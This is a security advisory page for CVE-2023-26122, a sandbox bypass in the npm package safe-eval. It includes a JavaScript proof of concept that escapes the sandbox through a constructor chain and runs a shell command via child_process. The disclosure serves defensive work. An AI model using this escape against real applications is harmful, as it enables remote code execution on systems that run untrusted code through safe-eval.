Sandbox Bypass Affecting safe-eval package, versions *
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
1.1% (85th
percentile)
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Test your applications- Snyk ID SNYK-JS-SAFEEVAL-3373064
- published 10 Apr 2023
- disclosed 26 Mar 2023
- credit seongil-wi
Introduced: 26 Mar 2023
CVE-2023-26122 Open this link in a new tabHow to fix?
There is no fixed version for safe-eval.
Overview
safe-eval is a Safer version of eval()
Affected versions of this package are vulnerable to Sandbox Bypass due to improper input sanitization. The vulnerability is derived from prototype pollution exploitation. Exploiting this vulnerability might result in remote code execution ("RCE").
Vulnerable functions:
__defineGetter__, stack(), toLocaleString(), propertyIsEnumerable.call(), valueOf().
PoC
const safe_eval = require('safe-eval')
code = `
import('test').catch((e)=>{})['constructor']['constructor']('return process')().mainModule.require('child_process').execSync('touch rce')
`
safe_eval(code)
CVSS Scores
version 3.1